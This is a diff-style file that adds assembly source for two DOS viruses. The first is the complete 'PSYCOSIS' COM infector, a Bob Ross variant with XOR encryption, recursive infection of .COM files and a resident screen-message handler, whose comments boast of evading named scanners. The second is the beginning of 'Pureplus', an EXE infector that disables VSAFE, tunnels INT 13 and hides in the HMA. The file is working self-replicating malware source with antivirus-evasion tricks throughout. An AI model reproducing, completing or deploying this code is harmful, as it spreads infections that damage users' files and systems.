|
||||
length_file dw ?
|
||||
handle dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
initials dw 4844h
|
||||
last db 090h
|
||||
|
||||
code ends
|
||||
end host
|
|
@ -0,0 +1,567 @@
|
|||
; VirusName : PSYCOSIS
|
||||
; Origin : Sweden
|
||||
; Author : The Unforgiven
|
||||
; Date : 03/01/94
|
||||
|
||||
; This is yet another mutation of the Bob Ross virus, written by Dark
|
||||
; Angel of Phalcon/Skism in September 1991. In my last version of this
|
||||
; virus, I excluded the encryption, and included some destructive code
|
||||
; instead. In this one, I added a new encryption, and thereby it went
|
||||
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
|
||||
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
|
||||
; heuristics scanner says that it "probably" is infected with some
|
||||
; unknown virus. The "standard" heuristic gets some flags, but not
|
||||
; enough to say that it's infected. Therefor I'd like to claim that
|
||||
; the scanners sucks!
|
||||
|
||||
; I had thought to change much more in the code, for example the
|
||||
; spreading routine. This virus will search the whole tree for
|
||||
; files to infect, and becomes therefor pretty slow, and easily
|
||||
; detected. But hell, it spreads!, Hm, 3 files each run!..
|
||||
|
||||
; It also contains a resident printing part, which under some
|
||||
; specific conditions will print some messages, in the top of the
|
||||
; screen. If you're afraid that you are infected with this virus,
|
||||
; just set the date to 0606 any year, and wait for some minutes.
|
||||
; If a sudden message shows up, delete your .COM file, which first
|
||||
; character is an "&".
|
||||
|
||||
;=============================================================================
|
||||
; **** PSYCOSIS ****
|
||||
;=============================================================================
|
||||
|
||||
CODE SEGMENT PUBLIC 'CODE'
|
||||
ORG 100h
|
||||
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||
|
||||
DTA_fileattr EQU 21
|
||||
DTA_filetime EQU 22
|
||||
DTA_filedate EQU 24
|
||||
DTA_filesize EQU 26
|
||||
DTA_filename EQU 30
|
||||
|
||||
virus_marker equ 026FFh ; JMP WORD PTR
|
||||
virus_marker2 equ 00104h ; 0104h
|
||||
part1_size equ part1_end - part1_start
|
||||
part2_size equ part2_end - part2_start
|
||||
offset_off equ duh2
|
||||
init_delay equ 5280 ; Initial delay
|
||||
delay equ 400 ; Subsequent delay
|
||||
num_Messages equ 7 ; Number of Bob messages
|
||||
waves equ 7 ; Number of waves to go off after
|
||||
infec_date equ 0606h ; Date of psychosis .(swedish national day).
|
||||
|
||||
Counter equ 108h
|
||||
D_Mess equ 110h
|
||||
Int_08_Start equ 112h
|
||||
|
||||
part1_start:
|
||||
jmp word ptr duh
|
||||
duh dw middle_part_end - part1_start + 100h
|
||||
duh2 dw 0
|
||||
part1_end:
|
||||
|
||||
middle_part_start:
|
||||
middle_part_end:
|
||||
|
||||
;=============================================================================
|
||||
;Part 2 begins: Dis is the D-Cool part
|
||||
;=============================================================================
|
||||
part2_start:
|
||||
cld
|
||||
call decrypt
|
||||
mov si, offset Go
|
||||
add si, offset_off
|
||||
jmp si
|
||||
|
||||
;encrypt_val db 00h
|
||||
encrypt_val dw 0
|
||||
decrypt:
|
||||
encrypt:
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov ah, byte ptr [si]
|
||||
|
||||
mov cx, offset part2_end - offset bam_bam
|
||||
add si, offset bam_bam - offset encrypt_val
|
||||
mov di, si
|
||||
call cheater
|
||||
|
||||
xor_loop:
|
||||
lodsb ; DS:[SI] -> AL
|
||||
xor al, ah
|
||||
stosb
|
||||
loop xor_loop
|
||||
ret
|
||||
cheater:
|
||||
ret
|
||||
|
||||
copy_rest_stuff:
|
||||
push si ; SI -> buffer3
|
||||
call encrypt
|
||||
mov cx, part2_size
|
||||
pop dx
|
||||
add dx, offset part2_start - offset buffer3
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call decrypt
|
||||
bam_bam:
|
||||
ret
|
||||
|
||||
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
buffer2 db part1_end - part1_start dup (?)
|
||||
buffer3 dw ?
|
||||
orig_path db 64 dup (?)
|
||||
num_infec db 0 ; Infection wave number
|
||||
infec_now db 0 ; Number files infected this time
|
||||
root_dir db '\',0 ; root directory
|
||||
com_mask db '*.com',0 ; files to infect
|
||||
dir_mask db '*.*',0 ; files to search for
|
||||
back_dir db '..',0 ; go "dot-dot".
|
||||
nest dw 0
|
||||
|
||||
DTA db 43 DUP (0) ; For use by infect_dir
|
||||
|
||||
Go:
|
||||
add si, offset buffer - offset Go
|
||||
mov di, si
|
||||
add di, offset buffer2 - offset buffer
|
||||
mov cx, part1_size
|
||||
rep movsb
|
||||
|
||||
mov ah, 47h ; Get directory
|
||||
xor dl,dl ; Default drive
|
||||
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
|
||||
int 21h ; in orig_path
|
||||
jc Go_Error
|
||||
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, si ; to the root dir
|
||||
add dx, offset root_dir - offset orig_path
|
||||
int 21h
|
||||
jc Go_Error
|
||||
|
||||
add si, offset num_infec - offset orig_path
|
||||
inc byte ptr [si] ; New infection wave
|
||||
|
||||
push si ; Save offset num_infec
|
||||
|
||||
add si, offset infec_now - offset num_infec
|
||||
mov byte ptr [si], 3 ; Reset infection
|
||||
; counter to 3
|
||||
; for D-new run.
|
||||
|
||||
call traverse_fcn ; Do all the work
|
||||
|
||||
pop si ; Restore offset num_infec
|
||||
cmp byte ptr [si], waves ; 10 infection waves?
|
||||
jge Go_Psycho ; If so, activate
|
||||
|
||||
mov ah, 2Ah ; Get date
|
||||
int 21h
|
||||
cmp dx, infec_date ; Is it 07/09?
|
||||
jz Go_Psycho ; If so, activate
|
||||
Go_Error:
|
||||
jmp quit ; And then quit
|
||||
|
||||
Go_Psycho:
|
||||
jmp Psycho
|
||||
|
||||
origattr db 0
|
||||
origtime dw 0
|
||||
origdate dw 0
|
||||
filesize dw 0 ; Size of the uninfected file
|
||||
|
||||
oldhandle dw 0
|
||||
|
||||
;=============================================================================
|
||||
;D-Traversal function begins
|
||||
;=============================================================================
|
||||
traverse_fcn proc near
|
||||
push bp ; Create stack frame
|
||||
mov bp,sp
|
||||
sub sp,44 ; Allocate space for DTA
|
||||
push si
|
||||
|
||||
jmp infect_directory
|
||||
In_fcn:
|
||||
mov ah,1Ah ;Set DTA
|
||||
lea dx,word ptr [bp-44] ; to space allotted
|
||||
int 21h ;Do it now, do it hard!
|
||||
|
||||
mov ah, 4Eh ;Find first
|
||||
mov cx,16 ;Directory mask
|
||||
mov dx,offset dir_mask ; *.*
|
||||
add dx,offset_off
|
||||
int 21h
|
||||
jmp short isdirok
|
||||
gonow:
|
||||
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||
je short donext ; If so, loop again
|
||||
lea dx,word ptr [bp-14] ;else load dirname
|
||||
mov ah,3Bh ; and changedir there
|
||||
int 21h ;Yup, yup
|
||||
jc short donext ; Do next if invalid
|
||||
mov si, offset nest ; Else increment nest
|
||||
add si, offset_off
|
||||
inc word ptr [si] ; nest++
|
||||
call near ptr traverse_fcn ; recurse directory
|
||||
donext:
|
||||
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
|
||||
mov ah,1Ah ; and set DTA to it
|
||||
int 21h ; 'cause it might have changed
|
||||
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
isdirok:
|
||||
jnc gonow ;If OK, jmp elsewhere
|
||||
mov si, offset nest
|
||||
add si, offset_off
|
||||
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||
jle short cleanup ; Quit
|
||||
dec word ptr [si] ;Else decrement nest
|
||||
mov dx,offset back_dir ;'..'
|
||||
add dx, offset_off
|
||||
mov ah,3Bh ;Change directory
|
||||
int 21h ; to previous one
|
||||
cleanup:
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
traverse_fcn endp
|
||||
;=============================================================================
|
||||
;D-Traversal function ends
|
||||
;=============================================================================
|
||||
|
||||
Goto_Error:
|
||||
jmp Error
|
||||
|
||||
enuff_for_now:
|
||||
;Set nest to nil
|
||||
mov si, offset nest ; in order to
|
||||
add si, offset_off ; halt the D-Cool
|
||||
mov word ptr [si], 0 ; traversal fcn
|
||||
jmp short cleanup
|
||||
return_to_fcn:
|
||||
jmp short In_fcn ;Return to traversal function
|
||||
|
||||
infect_directory:
|
||||
mov ah, 1Ah ;Set DTA
|
||||
mov dx, offset DTA ; to DTA struct
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
find_first_COM:
|
||||
mov ah, 04Eh ; Find first file
|
||||
mov cx, 0007h ; Any file
|
||||
mov dx, offset com_mask ; DS:[DX] --> filemask
|
||||
add dx, offset_off
|
||||
int 21h ; Fill DTA (hopefully)
|
||||
jc return_to_fcn ; <Sigh> Error #E421:0.1
|
||||
jmp check_if_COM_infected ; I<___-Cool! Found one!
|
||||
|
||||
find_next_file2:
|
||||
mov si, offset infec_now ; Another loop,
|
||||
add si, offset_off ; Another infection
|
||||
dec byte ptr [si] ; Infected three?
|
||||
jz enuff_for_now ; If so, exit
|
||||
find_next_file:
|
||||
mov ah,4Fh ; Find next
|
||||
int 21h
|
||||
jc return_to_fcn
|
||||
|
||||
check_if_COM_infected:
|
||||
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||
add si, offset_off
|
||||
cmp byte ptr [si], 'D' ; ??????D.COM?
|
||||
jz find_next_file ; don't kill COMMAND.COM
|
||||
|
||||
mov ax,3D00h ; Open channel read ONLY
|
||||
mov dx, si ; Offset Pathname in DX
|
||||
sub dx, 6
|
||||
int 21h ; Open NOW!
|
||||
jc find_next_file ; If error, find another
|
||||
|
||||
xchg bx,ax ; bx is now handle
|
||||
mov ah,3Fh ; Save
|
||||
mov cx, part1_size ; first part
|
||||
mov dx, offset buffer ; to buffer
|
||||
add dx, offset_off ; to be restored
|
||||
push dx
|
||||
int 21h ; later
|
||||
|
||||
pop si ; Check for virus ID bytes
|
||||
; in the buffer
|
||||
push si
|
||||
lodsw ; DS:[SI] -> AX
|
||||
cmp ax, virus_marker ; Compare it
|
||||
jnz infect_it ; infect it if ID #1 not found
|
||||
|
||||
lodsw ; Check next two bytes
|
||||
cmp ax, virus_marker2 ; Compare it
|
||||
jnz infect_it ; infect if ID #2 not found
|
||||
pop si
|
||||
bomb_out:
|
||||
mov ah, 3Eh ; else close the file
|
||||
int 21h ; and go find another
|
||||
jmp find_next_file ; 'cuz it's already infected
|
||||
|
||||
Signature db '\\ Merry Xmas and a happy new year // '
|
||||
db 'Sweden - Snowing Again'
|
||||
;=============================================================================
|
||||
;D-Good Stuff - Infection routine
|
||||
;=============================================================================
|
||||
infect_it:
|
||||
; save fileattr
|
||||
pop si
|
||||
add si, offset DTA + DTA_fileattr - offset buffer
|
||||
mov di, si
|
||||
add di, offset origattr - offset DTA - DTA_fileattr
|
||||
movsb ; DS:[SI] -> ES:[DI]
|
||||
movsw ; Save origtime
|
||||
movsw ; Save origdate
|
||||
movsw ; Save filesize
|
||||
; Only need LSW
|
||||
; because COM files
|
||||
; can only be up to
|
||||
; 65535 bytes long
|
||||
cmp word ptr [si - 2], part1_size
|
||||
jl bomb_out ; is less than 8 bytes.
|
||||
|
||||
do_again:
|
||||
mov ah, 2Ch ; get time
|
||||
int 21h
|
||||
add dl, dh ; 1/100 sec + 1 sec
|
||||
jz do_again ; Don't want orig strain!
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov byte ptr [si], dl ; 255 mutations
|
||||
|
||||
mov ax, 4301h ; Set file attributes
|
||||
xor cx, cx ; to nothing
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||
int 21h ; do it now, my child
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h ; handle in BX
|
||||
|
||||
mov ax, 3D02h ; Open file read/write
|
||||
int 21h ; Filename offset in DX
|
||||
jc bomb_out ; Damn! Probs
|
||||
|
||||
mov di, dx
|
||||
add di, offset oldhandle - offset DTA - DTA_filename
|
||||
; copy filehandle to
|
||||
; oldhandle
|
||||
stosw ; AX -> ES:[DI]
|
||||
xchg ax, bx ; file handle in BX now
|
||||
|
||||
mov ah, 40h ; Write DS:[DX]->file
|
||||
mov cx, part1_size - 4 ; number of bytes
|
||||
mov dx, 0100h ; where code starts
|
||||
int 21h ; (in memory)
|
||||
|
||||
mov ah, 40h
|
||||
mov si, di ; mov si, offset filesize
|
||||
add si, offset filesize - 2 - offset oldhandle
|
||||
add word ptr [si], 0100h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h ; write jmp offset
|
||||
|
||||
mov ax, [si] ; AX = filesize
|
||||
sub ax, 0108h
|
||||
|
||||
add si, offset buffer3 - offset filesize
|
||||
push si
|
||||
mov word ptr [si], ax
|
||||
mov ah, 40h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ; move file ptr
|
||||
xor cx, cx ; from EOF
|
||||
xor dx, dx ; offset cx:dx
|
||||
int 21h
|
||||
|
||||
call copy_rest_stuff
|
||||
|
||||
pop si
|
||||
add si, offset oldhandle - offset buffer3
|
||||
mov bx, word ptr [si]
|
||||
mov ax, 5701h ; Restore
|
||||
add si, offset origtime - offset oldhandle
|
||||
mov cx, word ptr [si] ; old time and
|
||||
add si, 2
|
||||
mov dx, word ptr [si] ; date
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ax, 4301h ; Restore file
|
||||
xor ch, ch
|
||||
add si, offset origattr - offset origtime - 2
|
||||
mov cl, byte ptr [si] ; attributes
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset origattr
|
||||
int 21h ; do it now
|
||||
|
||||
jmp find_next_file2
|
||||
|
||||
GotoError:
|
||||
jmp error
|
||||
|
||||
Psycho:
|
||||
|
||||
push es
|
||||
mov byte ptr cs:[100h],0 ; Initialize fingerprint
|
||||
xor bx, bx ; Zero BX for start
|
||||
mov ax, cs
|
||||
Init1: inc bx ; Increment search segment
|
||||
mov es, bx ; value
|
||||
cmp ax, bx ; Not installed if we reach
|
||||
je Not_Installed_Yet ; the current segment
|
||||
mov si, 100h ; Search segment for
|
||||
mov di, si ; fingerprint in first
|
||||
mov cx, 4 ; four bytes
|
||||
repe cmpsb ; Compare
|
||||
jne init1 ; If not equal, try another
|
||||
jmp Quit_Init ; else already installed
|
||||
|
||||
Not_Installed_Yet:
|
||||
pop es
|
||||
mov word ptr cs:[Counter], init_delay
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
; Copy interrupt handler to beginning of code
|
||||
mov si, offset _int_08_handler
|
||||
add si, offset_off
|
||||
mov di, Int_08_Start
|
||||
mov cx, int_end - int_start
|
||||
rep movsb ; DS:[SI]->ES:[DI]
|
||||
|
||||
mov ax, 3508h ; Get int 8 handler
|
||||
int 21h ; put in ES:BX
|
||||
|
||||
mov cs:[duh], bx ; Save old handler
|
||||
mov cs:[duh+2], es ; in cs:[104h]
|
||||
|
||||
mov ax, 2508h ; Install new handler
|
||||
mov dx, Int_08_Start ; from DS:DX
|
||||
int 21h ; Do it
|
||||
|
||||
push es
|
||||
mov ax, ds:[2Ch] ; Deallocate program
|
||||
mov es, ax ; environment block
|
||||
mov ah, 49h
|
||||
int 21h
|
||||
pop es
|
||||
|
||||
mov ax, 3100h ; TSR
|
||||
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||
int 21h
|
||||
int 20h ; In case of error
|
||||
Quit_Init:
|
||||
pop es
|
||||
Error: ; On error, quit
|
||||
Quit:
|
||||
; if get drive, place it here (restore, and change to in the beginning).
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, offset root_dir ; to the root dir
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ; Change directory
|
||||
; Return to orig dir
|
||||
add dx, offset orig_path - offset root_dir
|
||||
int 21h
|
||||
|
||||
; Copy buffer back to beginning of file
|
||||
mov si, dx
|
||||
add si, offset buffer2 - offset orig_path
|
||||
mov di, 0100h
|
||||
mov cx, part1_end - part1_start
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
int_start:
|
||||
_int_08_handler proc far
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
dec word ptr CS:[Counter] ; Counter
|
||||
jnz QuitNow
|
||||
;ACTIVATION!!!
|
||||
mov word ptr CS:[Counter], delay ; Reset counter
|
||||
|
||||
; Set up DS & ES to equal CS
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset Messages - offset int_start + int_08_start
|
||||
mov cx, cs:D_Mess
|
||||
xor ah, ah
|
||||
LoopY_ThingY:
|
||||
lodsb ; DS:SI -> AL
|
||||
add si, ax ; ES:BP -> Next message to display
|
||||
loop LoopY_ThingY
|
||||
|
||||
lodsb
|
||||
xchg si, bp
|
||||
|
||||
xor cx, cx
|
||||
mov cl, al ; Length of string
|
||||
mov ax, 1300h ;
|
||||
mov bx, 0070h ; Page 0, inverse video
|
||||
xor dx, dx ; (0,0)
|
||||
int 10h ; Display ES:BP
|
||||
inc word ptr cs:[D_Mess]
|
||||
cmp word ptr cs:[D_Mess], num_messages
|
||||
jnz Sigh
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
Sigh: mov cx, 30h
|
||||
Sigh2: push cx
|
||||
mov cx, 0FFFFh
|
||||
DelayX: loop DelayX
|
||||
pop cx
|
||||
loop Sigh2
|
||||
xchg si, bp
|
||||
QuitNow:
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr CS:duh
|
||||
Messages db 0
|
||||
db 15, 'Another year passed by'
|
||||
db 21, 'Another tear the willows cry'
|
||||
db 22, 'to change the world we ever try'
|
||||
db 26, 'to make a difference before we die'
|
||||
db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
|
||||
db 40, '(c) 93/94 The Unforgiven / Immortal Riot'
|
||||
|
||||
_int_08_handler endp
|
||||
int_end:
|
||||
part2_end:
|
||||
|
||||
CODE ends
|
||||
end part1_start
|
|
@ -0,0 +1,508 @@
|
|||
cseg segment para public 'code'
|
||||
pureplus proc near
|
||||
assume cs:cseg
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
;designed by "Q" the misanthrope.
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
.186
|
||||
|
||||
ALLOCATE_HMA equ 04a02h
|
||||
CLOSE_HANDLE equ 03e00h
|
||||
COMMAND_LINE equ 080h
|
||||
COM_OFFSET equ 00100h
|
||||
CRITICAL_INT equ 024h
|
||||
DENY_NONE equ 040h
|
||||
DONT_SET_OFFSET equ 006h
|
||||
DONT_SET_TIME equ 040h
|
||||
DOS_INT equ 021h
|
||||
DOS_SET_INT equ 02500h
|
||||
EIGHTEEN_BYTES equ 012h
|
||||
ENVIRONMENT equ 02ch
|
||||
EXEC_PROGRAM equ 04b00h
|
||||
EXE_SECTOR_SIZE equ 004h
|
||||
EXE_SIGNATURE equ 'ZM'
|
||||
FAIL equ 003h
|
||||
FAR_INDEX_CALL equ 01effh
|
||||
FILENAME_OFFSET equ 0001eh
|
||||
FILE_OPEN_MODE equ 002h
|
||||
FIND_FIRST equ 04e00h
|
||||
FIND_NEXT equ 04f00h
|
||||
FIRST_FCB equ 05ch
|
||||
FLUSH_BUFFERS equ 00d00h
|
||||
FOUR_BYTES equ 004h
|
||||
GET_DTA equ 02f00h
|
||||
GET_ERROR_LEVEL equ 04d00h
|
||||
HARD_DISK_ONE equ 081h
|
||||
HIDDEN equ 002h
|
||||
HIGH_BYTE equ 00100h
|
||||
HMA_SEGMENT equ 0ffffh
|
||||
INT_13_VECTOR equ 0004ch
|
||||
JOB_FILE_TABLE equ 01220h
|
||||
KEEP_CF_INTACT equ 002h
|
||||
KEYBOARD_INT equ 016h
|
||||
MAX_SECTORS equ 078h
|
||||
MULTIPLEX_INT equ 02fh
|
||||
NEW_EXE_HEADER equ 00040h
|
||||
NEW_EXE_OFFSET equ 018h
|
||||
NULL equ 00000h
|
||||
ONLY_READ equ 000h
|
||||
ONLY_WRITE equ 001h
|
||||
ONE_BYTE equ 001h
|
||||
OPEN_W_HANDLE equ 03d00h
|
||||
PARAMETER_TABLE equ 001f1h
|
||||
READ_A_SECTOR equ 00201h
|
||||
READ_ONLY equ 001h
|
||||
READ_W_HANDLE equ 03f00h
|
||||
REMOVE_NOP equ 001h
|
||||
RESET_CACHE equ 00001h
|
||||
RESIZE_MEMORY equ 04a00h
|
||||
SECOND_FCB equ 06ch
|
||||
SECTOR_SIZE equ 00200h
|
||||
SETVER_SIZE equ 018h
|
||||
SHORT_JUMP equ 0ebh
|
||||
SIX_BYTES equ 006h
|
||||
SMARTDRV equ 04a10h
|
||||
SYSTEM equ 004h
|
||||
SYS_FILE_TABLE equ 01216h
|
||||
TERMINATE_W_ERR equ 04c00h
|
||||
THREE_BYTES equ 003h
|
||||
TWENTY_HEX equ 020h
|
||||
TWENTY_THREE equ 017h
|
||||
TWO_BYTES equ 002h
|
||||
UNINSTALL equ 05945h
|
||||
UN_SINGLE_STEP equ not(00100h)
|
||||
VERIFY_3SECTORS equ 00403h
|
||||
VOLUME_LABEL equ 008h
|
||||
VSAFE equ 0fa01h
|
||||
WRITE_A_SECTOR equ 00301h
|
||||
WRITE_W_HANDLE equ 04000h
|
||||
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
|
||||
PURE_CODE_IS_AT equ 00147h
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
bios_seg segment at 0f000h ;just some dummy area that was needed
|
||||
org 00000h ;to have the compilier make a far jmp
|
||||
old_int_13_addr label word ;directive EAh later on
|
||||
bios_seg ends
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET ;com files seem to always start here
|
||||
com_code:
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
jmp short disable_vsafe
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
|
||||
dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
|
||||
;simple EXE header that we have imbedded the virii into
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org PURE_CODE_IS_AT ;here because many exe files have 00's after this location
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
ax_cx_di_si_cld proc near ;sets varables for modifying sector
|
||||
mov di,bx ;ES:BX is int 13 sector set di to bx
|
||||
add di,PURE_CODE_IS_AT-COM_OFFSET
|
||||
ax_cx_si_cld: call set_si ;get location of code in HMA
|
||||
set_si: pop si ;and subtract the offset
|
||||
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
|
||||
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
|
||||
mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C
|
||||
das ;set zero flag for the compare later on
|
||||
cld ;clear direction
|
||||
ret
|
||||
ax_cx_di_si_cld endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
|
||||
;must be here because the MZ 4Dh,5Ah
|
||||
;.EXE header identifier gets changed to
|
||||
;jmp 015C EAh,5Ah by changing one byte
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
disable_vsafe proc near ;while we are here lets allow other virii
|
||||
mov dx,UNINSTALL ;it sure is nice to have a simple
|
||||
mov ax,VSAFE ;call to do this
|
||||
int KEYBOARD_INT
|
||||
disable_vsafe endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
alloc_memory proc near ;clear disk buffers so reads are done
|
||||
mov ah,high(FLUSH_BUFFERS)
|
||||
int DOS_INT ;from disk and not from memory
|
||||
xor di,di ;set it to zero
|
||||
mov ds,di ;to set the DS there
|
||||
mov bh,high(SECTOR_SIZE)
|
||||
dec di ;now set it to FFFFh
|
||||
mov ax,ALLOCATE_HMA ;lets see how much memory is available
|
||||
int MULTIPLEX_INT ;in the HMA - ES:DI points to begining
|
||||
mov ax,SMARTDRV ;lets flush smartdrv as well for maximum
|
||||
mov bx,RESET_CACHE ;infection. it sure is nice to have
|
||||
int MULTIPLEX_INT ;a simple call to do this
|
||||
mov bl,SIX_BYTES ;for setting int 1 to tunnel
|
||||
inc di ;if dos <5.0 or no HMA di is FFFFh
|
||||
jz find_name ;if no memory don't install
|
||||
call ax_cx_si_cld ;get varables for copy to HMA
|
||||
rep movs byte ptr es:[di],cs:[si]
|
||||
alloc_memory endp ;then copy it to ES:DI in HMA
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
set_int_13 proc near ;setting int 1 vectors for tunnelling
|
||||
mov ax,offset interrupt_one
|
||||
xchg word ptr ds:[bx-TWO_BYTES],ax
|
||||
push ax ;great way to set interrupts
|
||||
push word ptr ds:[bx];just push them on the stack for latter
|
||||
mov word ptr ds:[bx],cs
|
||||
xchg cx,di ;cx was 0, di was last byte of HMA code
|
||||
mov dl,HARD_DISK_ONE;doesn't really matter which drive
|
||||
pushf ;save the flags with TF cleared
|
||||
pushf ;push flags for simulated int 13 call
|
||||
pushf ;push flags for setting TF
|
||||
mov bp,sp ;get the stack pointer
|
||||
mov ax,VERIFY_3SECTORS
|
||||
or byte ptr ss:[bp+ONE_BYTE],al
|
||||
popf ;set TF and direction and call int 13
|
||||
dw FAR_INDEX_CALL,INT_13_VECTOR
|
||||
popf ;restore flags
|
||||
pop word ptr ds:[bx];and int 1 vectors back
|
||||
pop word ptr ds:[bx-TWO_BYTES]
|
||||
set_int_13 endp ;now int 13 has our code hooked into it
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
find_name proc near ;now lets find out who we are to reload
|
||||
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
|
||||
look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly
|
||||
cmp word ptr ds:[bx-FOUR_BYTES],di
|
||||
jne look_for_nulls ;the plan is to goto the end of our
|
||||
find_name endp ;environment and look for 2 nulls
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
open_file proc near ;open current program and read header
|
||||
push ds ;to see if the header was restored back
|
||||
push bx ;save the program name on the stack
|
||||
mov ch,THREE_BYTES ;read in 768 bytes of header
|
||||
call open_n_read_exe ;open, read cx bytes, close file ds:bx
|
||||
push cs ;set es to cs for compare of sector
|
||||
pop es ;to infected sector
|
||||
mov bx,dx ;get varables set correctly for compare
|
||||
call convert_back ;compare them and convert them back
|
||||
pop dx ;get file name again
|
||||
pop ds
|
||||
jne now_run_it ;if int 13 converted it back then run it
|
||||
push ds ;else save file name again on stack
|
||||
push dx
|
||||
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
|
||||
call call_dos ;open current program for reads (don't set any alarms)
|
||||
push bx ;save handle
|
||||
int MULTIPLEX_INT ;get job file table for handle
|
||||
mov dx,SYS_FILE_TABLE
|
||||
xchg ax,dx ;done like this for anti TBAV hueristic scan
|
||||
mov bl,byte ptr es:[di]
|
||||
int MULTIPLEX_INT ;get SFT of handle to change ES:DI
|
||||
pop bx ;get handle again
|
||||
mov ch,high(SECTOR_SIZE)
|
||||
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
|
||||
cmpsw ;simple code to change open file to
|
||||
stosb ;write back the cleaned header to file
|
||||
mov dx,offset critical_error+COM_OFFSET
|
||||
int DOS_INT ;this cleans the file if virii didn't load in HMA
|
||||
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
|
||||
call reclose_it ;set SFT to not change file date and time at close
|
||||
pop dx ;get file name again from the stack
|
||||
pop ds
|
||||
open_file endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
now_run_it proc near ;setup the exec of current program again
|
||||
push cs ;like a spawned file
|
||||
pop es ;es now cs
|
||||
mov bx,offset exec_table
|
||||
mov ah,high(RESIZE_MEMORY)
|
||||
int DOS_INT ;first resize memory
|
||||
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
|
||||
xchg bx,si ;set si to where the table varables are
|
||||
mov di,bx ;set di to where 14 byte exec table is to be made
|
||||
mov ax,EXEC_PROGRAM ;set ax for file execute
|
||||
set_table: scasw ;advance 2 bytes in destination table
|
||||
movs byte ptr es:[di],cs:[si]
|
||||
scasb ;move a byte then check if next byte is nonzero
|
||||
mov word ptr cs:[di],cs
|
||||
je set_table ;fill in the code segment into table and jmp if still zero
|
||||
call call_dos ;exec program again
|
||||
mov ax,FIND_FIRST ;need to infect more EXE files
|
||||
mov dx,offset exe_file_mask
|
||||
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
|
||||
find_next_file: call call_dos ;set cx to 15 to loop that many times
|
||||
mov ah,high(GET_DTA);what was the old dta no need to set up a new one
|
||||
int DOS_INT ;get it
|
||||
add bx,FILENAME_OFFSET
|
||||
push es ;get the filename into ds:bx
|
||||
pop ds
|
||||
call open_n_read_exe ;open, read cx bytes, close file ds:bx
|
||||
mov ah,high(FIND_NEXT)
|
||||
loop find_next_file ;loop until no more matches
|
||||
